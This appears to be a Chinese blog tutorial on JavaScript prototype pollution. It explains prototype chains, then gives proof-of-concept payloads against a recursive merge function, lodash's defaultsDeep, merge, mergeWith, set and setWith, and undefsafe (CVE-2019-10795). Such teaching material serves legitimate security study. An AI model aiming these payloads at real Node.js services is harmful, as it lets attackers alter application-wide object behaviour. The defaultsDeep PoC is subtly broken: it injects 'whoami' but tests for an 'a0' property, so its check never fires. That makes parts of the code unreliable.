目录

js原型链污染

js原型链污染

前置知识

对象

对象可以看作是一个包含数据(变量)和方法(函数)的属性集合。在js中一切引用类型都是对象。

引用类型:Array(数组)类型、Function(函数)类型、Object类型(引用类型的核心)、Data(日期)类型、RegExp(正则)类型

var hello = function() {
    console.log('hello world');
};
//这目前只是一个普通的函数
var a=new hello();
//当通过new关键字调用了hello函数时,hello就是一个构造函数

当使用new关键字调用函数时:首先js会隐式创建一个新的空对象,并将其作为 this 绑定到构造函数中。这个新对象的原型会被设置为构造函数的 prototype 对象(后面会说),接着函数体内部的代码会在新创建的对象上执行。

三个重要属性: __proto__prototypeconstructor

__proto__ 属性和 constructor 属性是对象特有的。 __proto__ 通常称为隐式原型, prototype 通常称为显式原型

prototype 属性是函数独有的

https://i-blog.csdnimg.cn/direct/f150f31ef0b540109b7aa51cf45cb61a.png

以上面的代码为例

prototype属性

prototype 属性是函数独有的,从 一个函数指向一个对象 ,含义是 函数的原型对象

因此 prototype 是一个对象,包含构造函数的所有实例共享的属性和方法(即让该函数所实例化的对象们都能找到共用的属性和方法)。

在函数创建时,会默认同时创建这个函数的prototype对象。

https://i-blog.csdnimg.cn/direct/5b5c397c1a1145b0912111e4a8ec7f3a.png

__proto__属性

__proto__ 属性是对象独有的,这个属性都是从 一个对象指向一个对象 ,即指向他们各自的 原型对象 (父对象)。

因此 __proto__ 的作用是告诉我们一个对象的 原型对象 是谁。

当访问一个对象的属性时,如果该对象内部不存在这个属性,就会去找它的 __proto__ 属性所指向的对象,如果这个原型对象(父对象)也不存在,就会继续沿着这个原型对象(父对象)的 __proto__ 属性找它的原型对象(爷爷对象)。如果还没找到,就继续找,直到原型链的顶端 null

https://i-blog.csdnimg.cn/direct/7380088a520a4223b9088481e4579c02.png

constructor

constructor 属性也是对象独有的,这个属性从 一个对象指向一个函数 ,即 指向该对象的构造函数 。所有函数的最终构造函数都指向了 function

function()有一点特殊,它既可以看成函数也可以看成对象。所有函数和对象都是由function构造函数得到的,因此 constructor 属性的终点就是function()函数。

Function 是原生构造函数,自动出现在运行环境中

https://i-blog.csdnimg.cn/direct/d1edd5fdd6484e949efe4911d7773bd5.png

总结

1__proto__和constructor属性是对象独有的;而prototype属性是函数独有的但函数也是一种对象所有函数也拥有__proto__和constructor属性
2__proto__通常被称为隐式原型prototype通常被称为显式原型一个对象的隐式原型指向了该对象的构造函数的显示原型
3函数创建的对象.__proto__===该函数.prototype
   函数.prototype.constructor===该函数本身
   因此在这个例子中a.__proto__===hello.prototype; hello.prototype.constructor===hello

JS原型与原型链继承

每个对象从创建的开始就和另一个对象关联,从另一个对象上继承它的属性,其中的 另一个对象 就是 原型

由于对象及其原型组成的链子就是原型链

在这里插入图片描述

原型链污染

在js中没有类的概念,继承都是通过原型链来实现的。并且很少有真正的私有属性,类的所有属性都运行被公开的访问和修改,包括proto,构造函数和原型。因此攻击者可以通过注入其他值来覆盖或污染proto,构造函数和原型属性,这就是原型链污染。

Merge类操作原型链污染

Merge类操作是最常见的肯能控制键名的操作,因此也最可能导致原型链污染。

merge函数通常用于将多个对象合并成一个,但主要是将一个对象的属性复制到另一个对象中,生成一个新的合并结果

例:经典递归漏洞

#merge函数功能
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
//输出1   2
object3 = {}
console.log(object3.b)
//输出 2

可以看到object3的b是从原型获取到的,说明Object已被污染。

因为在json解析的时候, __proto__ 会被当成一个键名而不是原型,因此遍历object2时会存在这个键,所有Object被污染了

merge()不安全的原因:

1、这个函数对 source 对象中的所有属性进行迭代(对象source在键值相同的情况下拥有更高的优先权)

2、如果属性同时存在与第一个和第二个参数中,且都是Object的话,它就会递归地合并这个属性

3、如果控制了 source[key] 的值,使其变成 __proto__ ,且能控制 source__proto__ 属性的值,在递归的时候, target[key] 在某个特定的时候,就会指向对象 targetprototype ,我们就能添加一个新的属性到该对象的原型链中了。

Lodash模块原型链污染

lodash是一个包含简化字符串、数字、数组、函数和对象的js库

lodash.defaultsDeep方法造成原型链污染

lodash库中的 defaultsDeep 函数可能会被包含 constructor 的payload添加或修改 object.prototype

漏洞验证POC

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }
check();
lodash.merge 方法造成的原型链污染

lodash.merge作为lodash中的对象合并插件,它可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以此来创建父映射对象

merge(object, sources)

漏洞验证POC

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.mergeWith 方法造成的原型链污染

lodash.mergeWith方法类似于merge方法,但它还会接受一个 customizer ,来决定如何合并,如果 customizer 返回 undefined 将会由合并处理方法代替。

mergeWith(object, sources, [customizer])

漏洞验证POC

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染

lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象

set(object, path, value)

漏洞验证POC

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染

lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer ,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。

setWith(object, path, value, [customizer])

漏洞验证POC

var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

Undefsafe模块原型链污染

Undefsafe 是 Nodejs 的一个第三方模块,其核心是一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3版本)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接
// this is just a evil!